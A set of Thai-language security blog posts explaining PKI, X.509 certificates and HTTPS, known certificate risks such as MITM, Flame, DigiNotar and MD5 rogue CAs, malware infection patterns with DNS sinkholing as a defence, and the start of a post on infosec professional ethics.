• หากมีการสร้าง Internal Certificate Authority Server เพื่อใช้ภายในองค์กรนั้น ต้องตรวจสอบให้แน่ใจว่า Client สามารถ access URL ของ OCSP หรือ CRL ได้ โดยที่ URL เหล่านี้มักจะชี้ไปที่ CA Server ขององค์กร แต่เนื่องจากองค์กรส่วนใหญ่มักใช้ Firewall Block User ทั่วไปไม่ให้ access CA Server ส่งผลให้ Client ไม่สามารถใช้งาน OCSP หรือ CRL ได้วิธีการตรวจสอบสามารถทำได้โดยเข้า URL ของ OCSP หรือ CRL จาก Web Browser ของเครื่อง Client ครับ โดย URL ของ OCSP และ CRL นั้นจะเป็น Attributes ที่อยู่ใน Certificate ครับ

OCSP URL

• กรณีมี Active Directory (AD) อย่าลืม Enforce Group Policy เกี่ยวกับเรื่อง Certificate Revocation ให้กับเครื่อง Client ทั้งหลาย โดยสามารถดูรายละเอียดได้ที่ Microsoft Technet

เป็นการจบ Series ของเรื่องนี้นะครับ หวังว่าจะช่วยให้ทุกคนลดโอกาสการตกเป็นเหยื่อของผู้ร้ายได้นะครับ

Case 1: Man-in-the-Middle Attack (MITM)

การดักข้อมูลระหว่างกลางโดยอาจจะใช้เทคนิค เช่น ARP spoofing หรือ DNS spoofing เพื่อทำการ Redirect เหยื่อ (ผู้ใช้งานทั่วไป/User) ไปที่ผู้ร้าย (Attacker) แล้วผู้ร้ายจะเป็นคน forward request ต่างๆของ เหยื่อ ไป Web ที่แท้จริงอีกต่อนึง

Man in the middle attack
Ref: http://www.computerhope.com/jargon/m/mitma.htm

ซึ่งการโจมตีแบบ MITM ด้วยเทคนิคทั่วๆไปอย่างเดียวมักจะไม่ค่อยประสบความสำเร็จ เพราะ User มี Security Awareness ค่อนข้างดี (มั้งครับ) และ Web Browser ของ User จะมีการ Alert ว่าเป็น Untrusted Website เนื่องจาก Attacker มักจะใช้ Self-Signed Certificate (คือ Certificate ที่ issue เอง ไม่ใช่ issue มาจาก Trusted CA) มาหลอก User ที่ไม่รู้เรื่อง และคอยแต่จะกด Continue เพื่อติดตั้ง Certificate นั้นเข้าเครื่องตัวเอง หาก User ได้ติดตั้ง Certificate เข้า Trusted List แล้ว ก็สบาย Attacker เลยครับ เพราะว่าในภายหลังหากมีการเข้า Web นี้อีกก็จะไม่ขึ้น Alert เตือนแล้ว

Case ที่ 1 นี้ก็เป็นเรื่องน่าเบื่อที่ผู้ใช้งาน Internet คงได้ยินกันบ่อยๆอยู่แล้วนะครับ

Certificate Error – Untrusted Issuer

เพิ่มเติม อีกเทคนิคที่ค่อนข้างดังและคล้ายๆกับ MITM นั้นคือ Man-in-the-Browser(MITB) โดย MITB นั้นคือการดักข้อมูลที่ Web Browser ฝั่ง User เพื่อคอยแก้ไข HTTP Response เพื่อหลอก User ซึ่งหากถูกโจมตีด้วยเทคนิค MITB นี้ HTTPS ก็ไม่สามารถช่วยอะไรได้ครับ เดี๋ยวนี้พวก Malware ส่วนใหญ่จะใช้เทคนิค MITB โดยรายละเอียดเพิ่มเติมสามารถไปอ่านได้ที่บทความก่อนหน้านี้ Banking Trojan ครับ

เพิ่มเติม สำหรับเทคนิค SSLStrip นั้นจะคล้ายๆกับ Case ที่ 1 แต่โดยส่วนตัวผมไม่คิดว่าเกี่ยวกับ Cryptography เท่าไรนัก แต่เดี๋ยวไว้จะเขียนในบทความถัดๆไปครับ

Case 2: Expired Certificate ( Certificate หมดอายุ)

ถ้าจำกันได้ในตอนที่ 1 นั้นได้อธิบายไปแล้วว่า Digital Certificate มี Validity Period อยู่ หากเลยเวลาในช่วงดังกล่าว Web Browser จะทำการแจ้งเตือนว่าเป็น Untrusted Website ซึ่งเป็นหน้าที่ของ Web Admin ที่จะต้องคอยดูแล ต่ออายุให้ Certificate นั้นๆ โดยส่วนตัวเคยเจอกับ Website ของบริษัท/สถาบันการเงินหลายแห่ง ซึ่งก็น่าเห็นใจ Web Admin เหมือนกัน เนื่องจาก หากมี Website ที่จะต้องคอยดูแลเป็นร้อยๆ และแต่ละ Certificate มีอายุ 1 ปี ก็แทบจะต้องต่อกันทุกวันเลยทีเดียว แต่หากจะยืดอายุ Certificate ให้นานขึ้นก็หมายถึงความเสี่ยงที่จะต้องยอมรับมากขึ้นหาก Certificate ถูก Compromised ไปครับ

Case 3: Endpoint get hacked

อีก 1 case สำหรับผู้ใช้งานทั่วไป หากโดนโจมตีไม่ว่าวิธีไหนก็ตามแล้วโดนติดตั้ง Certificate เถื่อนๆทั้งหลายบน Web Browser คราวนี้คงจะวุ่นวายมากทีเดียว เพราะว่าต่อให้เข้า Web ปลอมๆ ก็จะไม่มีอะไรแจ้งเตือนแล้ว หนึ่งในวิธีป้องกันคือการ Review Trusted List บน Web Browser บ่อยๆ ซึ่งคงจะไม่ Effective แน่ๆ ดังนั้นอย่างน้อยเราควรจะป้องกันเครื่องตัวเองให้รอดพ้นจากเงื้อมมือโจรร้าย ด้วยวิธีทั่วๆไปเช่น การ Update Patch, Update Application และ Update Antivirus Signature เป็นประจำ

วิธีการดู List ของ Certificate ที่มีการติดตั้งบนเครื่องเรา ดูได้ตาม Link ด้านล่างครับ

• FireFox –> https://support.quovadisglobal.com/KB/a41/how-do-i-check-my-certificates-on-firefox.aspx
• Internet Explorer –> https://support.comodo.com/index.php?_m=knowledgebase&_a=viewarticle&kbarticleid=1255
• อุปกรณ์ Mobile Device ก็มีการ Install Certificate เช่นเดียวกัน โดย iOS จะมาเป็นส่วนหนึ่งของ Profile ที่ install ที่เครื่อง

Case 4: Flame Malware

Malware ชื่อดังอย่าง Flame ซึ่งเป็น Malware ที่มุ่งโจมตีไปที่เครื่องในประเทศอิหร่าน โดยใช้ Certificate ซึ่งถูก issue โดย Microsoft CA หลักการในการกระจายตัวของ Flame นั้นเริ่มจากการดักจับ Request Windows Update จากเครื่องที่ยังไม่ติด Flame ใน Network วงเดียวกัน เมื่อเจอแล้วก็จะปลอมตัวเป็น Microsoft Update Server เพื่อกระจายตัวเองไปสู่เครื่องเหล่านั้น ซึ่งถือว่าเป็น MITM รูปแบบหนึ่ง แต่ว่าใช้ Certificate ที่ Valid ทำให้เหยื่อไม่สามารถรู้ตัวได้เลย

หลังจาก Flame ถูกค้นพบ ทาง Microsoft ได้รีบออก Patch เพื่อ Remove CA ที่ถูก Compromised ออกจาก Trusted List ทันที ซึ่งวิธีการป้องกันดูเหมือนจะง่ายมากสำหรับ User ทั่วๆไป แต่สำหรับองค์กรใหญ่ๆที่เครื่องเป็นหมื่น เป็นแสน นั้นคงไม่สามารถทำได้อย่างรวดเร็วแน่

Flame – Certificate Chain
Flame ใช้ Certificate ชื่อ MS ซึ่งดูเหมือนจะถูก Issue จาก Microsoft CA
Ref: http://www.microsoft.com/security/portal/threat/encyclopedia/entry.aspx?Name=Trojan:Win32/Flame.B!cert

Microsoft Security Advisory (2718704)
Ref: http://technet.microsoft.com/en-us/security/advisory/2718704

Case 5: Compromised Certificate Authority (CA) Server

เมื่อ CA Server ซึ่งเป็น Server สำหรับ Issue Digital Certificate ถูก Compromised นั้น ทำให้มีโอกาสที่ ผู้ร้ายจะสร้าง Rogue Digital Certificate เองแล้วนำไปใช้ ทำให้ Web ของผู้ร้ายมีความน่าเชื่อถือมากขึ้น หรือเลวร้ายกว่านั้น เช่น ข่าวเมื่อประมาณ 2 ปีที่แล้วของ DigiNotar ที่ถูก Hack CA Server โดยคาดว่าผู้ทีอยู่เบื้องหลังคือ รัฐบาลของประเทศอิหร่าน ทำไปเพื่อให้สามารถ monitor/intercept traffic ของกลุ่มผู้ที่คัดค้านรัฐบาลได้ โดยมีการ issue Certificate ของ Web ดังๆมากมายรวมไปถึง Google, Yahoo, WordPress, Twitter, Microsoft ซึ่ง Case ถึงกับทำให้ DigiNotar เสียหายรุนแรงจนต้องปิดบริษัทไป

DigiNotar
Ref: http://www.f-secure.com/weblog/archives/00002228.html

DigiNotar get hacked
Ref: http://www.f-secure.com/weblog/archives/00002228.html

CASE 6: การสร้าง Rogue CA Certificate

เทคนิคการสร้าง Rogue CA Certificate นี้เป็นเทคนิคที่ดังมากในช่วงปี 2008 – 2009 โดยจะใช้เทคนิคที่เรียกว่า Collision Attack บน Hash Function ที่มี Algorithm เป็น MD5

Hash Function คือวิธีการคำนวณรูปแบบหนึ่งที่จะ map ค่า (Value) ใดๆก็ตามให้เป็นอีกค่าหนึ่งซึ่งมีความยาวจำกัด (Fixed Length) ซึ่งรายละเอียดของ Hash Function นั้นขอไม่ลงรายละเอียด เดี๋ยวจะยาวเกินไปนะครับ

สำหรับ Collision Attack คือ การโจมตีที่พยายามหาค่า (Value) ใดๆก็ตาม 2 ค่าที่ process ผ่าน Hash Function แล้วได้ค่าเดียวกัน ตามตัวอย่างด้านล่าง “John Smith” และ “Sandra Dee” จะมี Hash Value ที่ตรงกันนั่นคือ “02″

Collision Attack
Ref: http://en.wikipedia.org/wiki/Hash_function

MD5 เป็น Hash Function Algorithm ชนิดหนึ่ง ซึ่งปัจจุบันถือว่าไม่ปลอดภัยแล้ว จึงเปลี่ยนมาใช้ Algorithm ที่เป็น SHA แทน

การสร้าง Rogue CA Certificate โดยคร่าวๆนั้นเริ่มจาก

1a. Attacker เลือก CA ที่มีความน่าเชื่อถือที่ใช้ MD5 เป็น Hashing Algorithm สร้าง Digital Certificate ให้ โดยขั้นตอนนี้เป็นการ Request Certificate จาก CA ตามปกติ เช่น Request CA ให้สร้าง Web Server Certificate ซักอัน

1b. Attacker สร้าง Rogue CA Certificate ขึ้นมาโดยระบุประเภทของ Certificate นี้ให้ใช้สำหรับ Intermediate CA Server (หากเป็นประเภทอื่น Certificate นี้จะไม่สามารถนำไป Issue Certificate อื่นๆอีกได้) ซึ่ง Attribute ต่างๆของ Rogue CA Certificate นี้จะถูกคำนวณมาอย่างดี เพื่อให้มีค่า MD5 Hash value ที่ตรงกันกับ Digital Certificate ที่ได้จากข้อ 1a.

2. เมื่อสร้าง Rogue CA Certificate และนำไปใช้กับ Rouge CA  Server แล้ว Attacker จะสามารถ Issue Digital Certificate ที่น่าเชื่อถือให้กับ Web อะไรก็ได้ตามที่ Attacker ต้องการ โดยที่การ Verify Certificate Chain จะไป Trust กันที่ระดับ CA ในข้อ 1a ซึ่ง Web Browser ทั่วๆไปจะมี Certificate ของ CA นั้นๆ install อยู่ใน Trusted List อยู่แล้ว

3. ขั้นตอนหลอกเหยื่อให้เชื่อถือโดยการสร้าง Web ปลอมๆขึ้นมาแล้วนำ Certificate ที่ Sign โดย Rogue CA Server ไปใช้งานเพื่อหลอกให้ User เข้ามาโดยส่วนใหญ่มักจะใช้พวกวิธี Phishing หรือการทำ DNS Spoofing ซึ่งคือวิธีการทำให้เครื่อง User resolve DNS แล้วได้เป็น IP address ของเครื่อง Attacker แทนที่จะเป็นเครื่องที่ถูกต้องจริงๆ

Rogue CA
Ref: http://www.win.tue.nl/hashclash/rogue-ca/

สำหรับในตอนต่อไปเราจะมาดูกันว่าในฐานะที่เราเป็น User ผู้ใช้งานทั่วไป หรือ Admin ผู้ดูแลระบบ ควรจะต้องทำอย่างไรบ้าง

ถ้าเป็น HTTPS แล้วจะปลอดภัยแน่เหรอ

การตรวจสอบ HTTPS นั้นทำได้โดยการดูที่ Address Bar และ ตรวจสอบรูปแม่กุญแจ (Padlock) หรือ Web Browser รุ่นใหม่ๆจะสามารถดูสีในช่อง Address Bar ได้เลย โดยสีเขียวจะสื่อถึง Web ที่ปลอดภัย และสีแดงจะสื่อถึง Web ที่ไม่ปลอดภัย

ตัวอย่าง HTTPS

เพิ่มเติม บทความนี้จะใช้ KBank เป็นตัวอย่างนะครับ ซึ่งในช่วงนี้ Bank สีเขียวนี้โดนโจมตีอย่างหนักตามเวป Pantip แต่สำหรับทีมงานเราแล้ว เราเห็นว่าทางธนาคารมีการป้องกันที่ดี แต่ส่วนใหญ่ที่เป็นปัญหาคือ User ขาด Awareness มากกว่า

สำหรับในบทความนี้จะอธิบายถึง HTTPS ในรายละเอียด คำว่า “ปลอดภัย” สำหรับ HTTPS แล้วจริงๆมีการตรวจสอบอะไรบ้าง และปลอดภัยจริงหรือไม่ โดยบทความนี้จะแบ่งออกเป็น 3 ตอน

• ตอนที่ 1 – เรื่องพื้นฐาน PKI, Digital Certificate, HTTPS
• ตอนที่ 2 – ความเสี่ยงของ HTTPS
• ตอนที่ 3 – User และ Admin ควรจะต้องทำอะไร

เริ่มจาก PKI (Public Key Infrastructure) คืออะไร

PKI เป็น Model ที่ใช้งานกันบน Internet เพื่อให้สามารถสร้างความไว้ใจซึ่งกันและกันได้

ในโลกแห่งความเป็นจริง ถ้า Alice ไม่รู้จักกับ Bob จะทำอย่างไรให้ 2 คนนี้ไว้ใจและเชื่อใจกันได้ ขอยกตัวอย่าง Scenario ซัก 2 รูปแบบนะครับ

1. Alice เริ่มเข้าไปคุยกับ Bob โดยตรงได้เลย หลังจากคุยกันสักพักก็ทำให้เกิดความเชื่อใจกัน
2. มี Trent* (Trusted 3rd Party) เป็นคนกลางคอยแนะนำให้ Alice รู้จักกับ Bob

ใน PKI มี 2 entities หลักคือ User และ CA (Certificate Authority) โดย CA หมายถึงผู้ที่น่าเชื่อถือมีสิทธิ์ที่จะออก Digital Certificate ให้กับผู้อื่นได้ การออก Certificate ให้กับผู้อื่นนั้นจะใช้วิธีการที่เรียก Digital Signature เพื่อใช้ในการยืนยันว่าใครเป็นผู้ issue Digital Certificate

เราสามารถเปรียบ User ได้กับ Alice, Bob และ CA เปรียบได้กับ Trent นั่นเอง โดยถ้า Alice จะไว้ใจ Bob นั้นจะต้องมีองค์ประกอบง่ายๆ ดังนี้

1. Alice ไว้ใจ Trent
2. Bob มี Digital Certificate ที่ issue โดย Trent

PKI Model

เพิ่มเติมในความเป็นจริงแล้ว CA บนโลกนั้นมีอยู่หลายเจ้า ทำให้เกิดความซับซ้อนมากขึ้น เช่น มีการ Cross Trust กันในระดับ CA

Digital Certificate คืออะไร

ทุกวันนี้โลกเรานั้นอยู่ยากมากขึ้นทุกวัน ใครบอกอะไรมาจะเชื่อถือทันทีไม่ได้ จะต้องมีเอกสารยืนยันก่อน เช่น บัตรประชาชน หรือ ใบขับขี่ เพื่อยืนยันตัวตน (Authentication)

เช่นเดียวกัน บนโลก Internet เอง จะใช้ Digital Certificate ในการยืนยันตัวตน โดยมาตรฐานที่นิยมใช้กันสำหรับ Digital Certificate คือ X.509

รายละเอียดของ X.509 Certificate

X.509 certificate
Ref: http://technet.microsoft.com/en-us/library/cc776447%28v=ws.10%29.aspx

เราจะเน้นเฉพาะ Attribute หลักๆของ Digital Certificate นะครับ

• Subject = ชื่อของเครื่อง หรือ Web site ที่เป็นเจ้าของ Certificate
• Issuer = CA ที่เป็นผู้ issue Certificate นี้ โดยทั่วๆไปที่รู้จักกัน ได้แก่ VeriSign, Thawte
• Public Key = เรื่อง PKI นั้นจะเกี่ยวกับการ Asymmetric Key Algorithm ที่มีการใช้ Private Key และ Pubic Key ในการทำ Encryption-Decryption ด้วย
• Validity Period = ช่วงเวลาที่ Certificate นี้ Valid โดยเหตุผลหลักที่ต้องมีช่วงเวลาคือ ใช้จำกัดความเสี่ยงหาก Private Key ถูก Compromised ไป  โดยทั่วๆไป Certificate จะมีอายุประมาณ 1-3 ปี แต่ก็มีบางที่ Admin ขี้เกียจทำเกี่ยวกับ Certificate ก็จะใส่ Validity Period ยาวๆ เช่น 10-20 ปี ซึ่งหาก Private Key โดน Compromised หมายถึงว่าผู้ร้ายสามารถทำการ Decrypt Traffic ที่เป็น HTTPS ได้นั่นเอง ข้อมูลต่างๆที่มีการเข้ารหัสอย่างดี ก็โดนแกะได้ง่ายเลย
• CRL = Certificate Revocation List เป็น List ของ Digital Certificate ที่ถูกยกเลิก โดยส่วนใหญ่มักจะเป็นสาเหตุจาก Private Key ถูก Compromised ซึ่งการตรวจสอบ CRL นี้จะอยู่ที่ Setting ของเครื่อง Client เอง ซึ่งถือเป็นความเสี่ยงอย่างหนึ่งหากเครื่อง Client ไม่มีการ Set ให้ไปตรวจสอบ CRL นอกจาก CRL แล้วจะมี OCSP (Online Certificate Status Protocol) ที่มีหน้าที่ตรวจสอบ Validity ของ Certificate เหมือนกัน
• Certificate Authority’s Digital Signature = ข้อมูลสำคัญที่ใช้ในการตรวจสอบว่า Digital Certificate นี้ถูก Issue โดย Issuer จริงๆ

ตัวอย่าง Digital Certificate

หมายเหตุ ค่า Common Name และ Subject คือค่าเดียวกันนะครับ

สำหรับ Certificate นี้ใช้สำหรับ Server ที่มี URL เป็น online.kasikornbankgroup.com ถูก issue โดย VeriSign และมีอายุประมาณ 1 ปี ซึ่งถือว่าเป็นระยะเวลาที่โอเค เพราะถ้าน้อยกว่านี้ Admin คงจะเหนื่อยแย่

สรุป หลักๆแล้ว Digital Certificate จะใช้ประโยชน์ 2 อย่างคือ 1.Authentication 2.Encryption

HTTPS คืออะไร

HTTPS คือ Protocol ที่ใช้ในการคุยกันระหว่าง Web Server และ Web Browser ซึ่งใน HTTPS จะมีขั้นตอนการ Verify ว่า Web Server นั้นเป็น Web Server ตัวจริงหรือไม่โดยดูจาก Digital Certificate จากนั้นจะมีการแลกเปลี่ยน Session Key (Symmetric Key) ผ่านค่า Public Key ใน Digital Certificate

โดยการตรวจสอบ Digital Certificate นั้นสามารถดูได้จาก Diagram ด้านล่างครับ

Digital Certificate Verification
Ref: http://technet.microsoft.com/en-us/library/cc962065.aspx

ซึ่งหลักๆแล้วจะการดู Web Server Digital Certificate จะดูที่

• URL นั้นจะต้องตรงกับ Subject
• เวลาปัจจุบันอยู่ในช่วง Validity Period
• Root หรือ Chain ของ CA จะต้องมีการ Install บนเครื่อง Client

สำหรับในบทความนี้เขียนอธิบายให้ดูง่ายๆเท่านั้นนะครับ ในความเป็นจริง จะซับซ้อนมากกว่านี้

เช่น

• Alice เชื่อใจ Bob แต่ Bob อาจไม่เชื่อใจ Alice ก็ได้ ซึ่งใน PKI จะแบ่งได้อีกว่าเป็น Unilateral Trust หรือ Mutual Trust (เชื่อใจซึ่งกันและกัน)
• เอกสารที่ใช้ในการยืนยันตัวตนมีได้หลายชนิด ซึ่งแต่ละชนิดให้ความน่าเชื่อถือไม่เท่ากัน เช่น บัตรประชาชน, บัตรประจำตัวนักเรียน, ใบขับขี่ ซึ่งเปรียบได้กับ CA แต่ละที่ ให้ความน่าเชื่อถือไม่เท่ากัน

สำหรับในตอนแรกนี้เป็นการปูพื้นฐานก่อนนะครับ เดี๋ยวมาดูกันในตอนถัดไปว่ามีอะไรที่เป็นจุดเสี่ยงบ้าง

Note

* สำหรับคนที่ผ่าน Network Class มาคงจะคุ้นเคยกับ Alice และ Bob เป็นอย่างดี ซึ่งก็ใช้สำหรับการยกตัวอย่างเปรียบเทียบเป็น นาง A กับ นาย B นั่นเอง แต่พอเรียน Security Class แล้วเรื่องราวจะซับซ้อนมากขึ้นมีตัวละครต่างๆเพิ่มขึ้นมาเช่น นาย C จะถูกเรียกว่า Charlie, นาย D จะถูกเรียกว่า Dave, Trusted 3rd Party จะถูกตั้งชื่อว่า Trent, Attacker ที่เป็นประเภท Eavedropper (ดักจับข้อมูล) จะถูกตั้งชื่อว่า Eve หรือ Malicious Attacker จะถูกตั้งชื่อว่า Mallory เป็นต้น

Infection Pattern ของ Malware

โดยส่วนใหญ่แล้วการโจมตีหรือการแพร่ของ malware ไปสู่ endpoint หรือผู้ใช้งานนั้นมักจะเกิดขึ้น 2 steps
1. ขั้นแรกเป็นวิธีการที่เรียกว่า Drive by Downloads: วิธีการนี้นิยมโจมตีผ่าน Browser บนเครื่องของผู้ใช้งาน เช่น Users ไป visit เว็บไซด์หนึ่งซึ่งหน้า page ของเว็บไซด์นั้นมีการเชื่อมต่อไปสู่ Landing page* ของ malware ทำให้ Browser ของผู้ใช้ติดต่อกับ Infected Page ของ malware นั้นๆ โดยทางเทคนิคแล้วถ้าเกิดรูปแบบนี้ขึ้นมาเครื่องผู้ใช้งานมักจะถูกโจมตีผ่าน Exploitation Kits ซึ่งถ้าหากมี Environment ที่ไม่ดีพอเช่น antivirus ไม่สมบูรณ์, OS ไม่มีการ Update Patch และ Application ของเครื่องขาดการ Update มีช่องโหว่อยู่ เครื่องก็จะถูก Compromised

จาก Graph ด้านบนสังเกตว่า Page ของหน้าที่เป็น Domain .go.th นั้นมี Link ไปหลายๆ Page ที่มี Domain .cc ซึ่งเป็นของหมู่เกาะ Cocos** และ Page เหล่านี้พบว่าเป็น Landing Page ของ Exploitation Kit ที่ชื่อว่า Redkit***

* Landing Page คือ Page ที่ทำการเปิดการเชื่อมต่อหรือมีการ Redirect ไปยัง Page ที่มี Payload อยู่เพื่อทำการ Exploit เครื่องของเหยื่อที่หลงเข้ามา จะมี Logic เช็คว่าเครื่องนั้นๆเหมาะสมกับการถูกโจมตีหรือไม่ด้วย ซึ่งเงื่อนไขนั้นขึ้นอยู่กับจุดประสงค์ของการโจมตี
** .cc เป็น Top Level Country Code ที่ CyberCrime ชอบใช้ อาจจะเป็นเพราะว่าประเทศนี้กฎระเบียบด้าน Security อ่อนและ .cc มันเท่ห์แทนคำว่า Command and Control
*** Redkit เป็นหนึ่งใน Exploitation Kits ตัวแสบที่โจมตี Users ทั่วโลกอยู่ ณ เวลานี้ และมีอีกตัวชื่อว่า Blackhole หน้าเว็บภายในประเทศไทยหลายแหล่งมีไอ้เจ้านี่ฝังอยู่เยอะเลยครับ

2. ขั้นตอนถัดมาเครื่องที่ Infected ทำการติดต่อกับ C2 (Command&Control Server) เพื่อ Maintain Connection: เครื่องที่ทำการติดต่อกับ C2 อาจจะเกิดขึ้นได้หลายกรณีเช่น เป็น zombie ใน BotNet, ติดต่อกับ C2 เพื่อ update configuration, ถูก control จาก Master ผ่าน RAT (Remote Access Trojan), มี Loader (Malware ที่ทำหน้าที่ไป download Malware หรือ Executable file อื่นๆมา install ที่เครื่องเพิ่มเติม) อยู่ในเครื่อง และอื่นๆอีกมากขึ้นอยู่กับเทคนิคของ Malware และ Environment นั้นๆ

จากรูปแบบดังกล่าว Malware มักจะทำการติดต่อโดยอาศัยการอ้างอิงชื่อผ่าน Authoritative DNS (DNS ที่ทำการ set อยู่ที่เครื่องนั่นแหละ) ของเครื่องที่ถูกโจมตี พวกแก๊งค์ CyberCrime มักจะจด Domain อยู่เป็นจำนวนมากและหากเครื่อง Controller ถูกปิดหรือถูก Banned จาก Network พวกเค้าก็แค่ไปเปลี่ยน IP ใหม่เท่านั้น Domain Name ยังคงใช้ชื่อแบบเดิมได้ หรือตั้ง Subdomain Name ใหม่ ผลก็คือเครื่องที่ Infected ก็ยังคงมีการเชื่อมต่อกับ C2 ได้เหมือนเดิม

เทคนิค DNS Sinkhole

Concept ของ DNS Sinkhole ก็คือป้องกันการเชื่อมต่อระหว่างเครื่องที่ Infected และ C2 หรือ Malicious Domain ด้วยการ Blind พวกมันผ่าน Name Resolving ของ DNS

Infrastructure แบบที่ไม่มี DNS Sinkhole

Infrastructure แบบนี้การป้องกัน Malware ขึ้นอยู่ว่า Policy ของ Firewall เป็นอย่างไร หรือ IPS เห็นหรือไม่ ซึ่งส่วนใหญ่แล้วไม่เพียงพอและ Maintain ยาก บางองค์กรอาจจะมีการติดตั้ง Antivirus Gateway เพิ่มขึ้นมาด้วยก็ดีขึ้นครับ แต่ก็ต้อง Tradeoff กับเรื่อง Performance

Infrastructure แบบมี DNS Sinkhole

Malicious Domain จะถูก DNS Resolve ไปที่เครื่อง Sinkhole ซึ่งมีการ Run อะไรบางอย่างอยู่แล้วแต่เทคนิค เช่น Run socat, packet analyser, proxy, หรือ honeypot ดักเอาไว้ หากมีการเชื่อมต่อก็ให้ทำการ alert ว่ามาจากเครื่องไหน และติดต่อไปที่ Port อะไร แค่นี้เราก็จะ Containment เครื่องที่ Infected ได้ และทำให้กระบวนการ Incident Handling ของ Admin เร็วขึ้น

ข้อจำกัดของ DNS Sinkhole

1. ต้องมีการ update Malicious Domain สม่ำเสมอ ซึ่งไม่ได้ยากมากครับ เนื่องจากมีคนทำให้อยู่แล้วเช่น
Malware Threat Center
malware-domains.com
Zeus Blocklist
2. ป้องกัน Malware ที่สามารถแก้ไข Host file บนเครื่องที่ Infected ไม่ได้ (ส่วนใหญ่แล้วการโจมตีด้วย Exploitation Kit ใน Stage เบื้องต้น Malware มักจะ Connect ไปภายนอกเพื่อ Update หรือ Download EXE เพิ่มเติมมา Run ก่อนที่มันจะทำอย่างอื่นครับ DNS Sinkhole จึงค่อนข้างใช้ได้ผล โดยส่วนตัวผมไม่ค่อยเจอ Malware ที่แอบเปลี่ยน Host File เท่าไรแล้วครับเนื่องจากมันเปิดเผยมากเกินไป IOC-Indicator of Compromise โจ๋งครึ่มมาก)
3. Firewall ที่ใช้ในองค์กรต้องบังคับไม่ให้ DNS Traffic ของเครื่อง Clients ไป Resolve Name ที่อื่น

Homeuse ทำ DNS Sinkhole ได้มั้ย?

คำตอบคือไม่ต้องทำครับ มีบริการดีๆ และฟรีอยู่ลองใช้ได้เลยเช่น
Norton ConnectSafe
OpenDNS

สำหรับงาน Forensics อยากทำ DNS Sinkhole แบบเร็วๆบนเครื่องที่ Infected เพื่อดูว่า เครื่องนั้น connect ไปที่ไหนบ้าง สามารถทำได้หรือไม่?

ทำได้แน่นอน tool ที่อยากจะแนะนำให้ใช้คือ apatedns ของ Mandiant ที่จะ control DNS Response ตามใจเราได้

สุดท้ายนี้ อยากฝากหน่วยงานของรัฐหรือเจ้าหน้าที่ที่เกี่ยวข้อง ช่วย Control ISP ให้ ISP ทำ DNS Sinkhole บ้างครับ(เราเชื่อมั่นว่ายังไม่ได้ทำ สถิติมันฟ้องครับ) เนื่องจากเราไม่อยากเห็นประเทศไทยของเราเป็นเครือข่าย Botnet ลำดับต้นๆของโลก

ผมเชื่อมั่นว่าถ้าหากผู้อ่านได้เรียนกับ Mentor ชั้นยอด(เหมือนกับที่พวกเราได้สัมผัส) ท่านจะต้องสอนเรื่องพวกนี้อย่างแน่นอน Mentor ชั้นยอดนอกเหนือไปจากความสามารถในการถ่ายทอดความรู้ที่ดีแล้ว ยังสร้างแรงบันดาลใจและปลูกฝังทรรศนะคติที่ดีให้กับผู้เรียนด้วย Concepts ของสิ่งต่างๆที่กำลังจะกล่าวถึงต่อไปนี้ผมอยากจะแบ่งปันและอยากจะให้ทุกคนที่อยู่ในสาย Information Security ได้รู้จักกัน หากปราศจากซึ่ง Etiquette และ Ethics คุณจะไม่มีวันได้ชื่อว่าเป็น Professional

1. Plagiarism: ความหมายคือการเลียนแบบ การขโมย ความคิด คำพูด หรือผลงานของคนอื่นโดยที่ไม่ยอมบ่งบอกว่ามาจากใคร ในต่างประเทศเรื่องนี้จัดเป็นเรื่องที่ Serious เป็นอย่างยิ่ง เนื่องจากมันเป็นการทำลาย Academic Integrity ทำลายความคิด ผลงานของคนอื่น การพัฒนาหรือความก้าวหน้าในวิทยาการย่อมมีปัญหาอย่างแน่นอน ยิ่งถ้าเป็น Thesis ทุกๆประโยคต้องมีที่มาถ้าเป็นของคนอื่น ต้อง Acknowledge(ยอมรับ) ต้อง Refer หรือให้ Credit กับผลงานที่เรานำมาใช้อ้างอิง ถ้าเป็นคำพูดหรือชิ้นงานของเราเองต้องมีที่มาและมีองค์ประกอบสนับสนุน ถ้าผู้อ่านอยู่ในวงการน่าจะเคยเห็น Case นี้ Security Expert ชื่อดังทำ Plagiarism ปรากฎว่าถูกด่าเละ แม้แต่ผมยังหมดศรัทธา

2. Trust และ Trustworthy: Concept นี้อธิบายแบบยกตัวอย่างจะเข้าใจได้ง่ายที่สุด สมมติว่าคุณเป็นเจ้าหน้าที่รัฐทำงานให้กับหน่วยงานความมั่นคง โดย Default แล้วคุณจะเป็นคนที่ประชาชน Trust(เชื่อใจ) ได้ แต่ถ้าคุณนำความลับขององค์กรไปให้กับฝ่ายตรงข้าม เมื่อนั้นคุณจะไม่ใช่คนที่ Trustworthy(ไว้ใจได้และมีความรับผิดชอบ ไม่ทรยศแน่นอน) การที่จะได้ชื่อว่า Professional คุณต้องมีคุณสมบัติทั้ง Trust และ Trustworthy ครบถ้วน

3. Confidentiality: การทำงานในสาย Information Security คุณต้องพบกับระดับชั้นความลับของข้อมูลมากมายไล่ไปตั้งแต่ top secret,secret,confidential,restricted, และ unclassified ถามว่าข้อมูลในแต่ละระดับสำคัญหรือไม่ ขอตอบเลยว่าสำคัญครับ ข้อมูลระดับชั้นที่ไม่สำคัญรวมๆกันอาจคาดเดาหรือบ่งบอกข้อมูลสำคัญบางอย่างก็เป็นได้ ดังนั้นจงอย่าละเลย ลองคิดดูนะครับถ้าเราเป็นเจ้าของบริษัท แล้วมีใครสักคนนำเรื่องที่เป็นความลับของบริษัทเราไปบอกให้คนอื่นฟังจะเป็นยังไง สำหรับสาย Penetration Tester บางครั้งผมจะตกใจและรู้สึกไม่ค่อยดี ถ้าได้ยินว่าบริษัท X หรือ ระบบ Y มีช่องโหว่อย่างนั้นอย่างนี้จากคำพูดของคนในวงการเดียวกัน

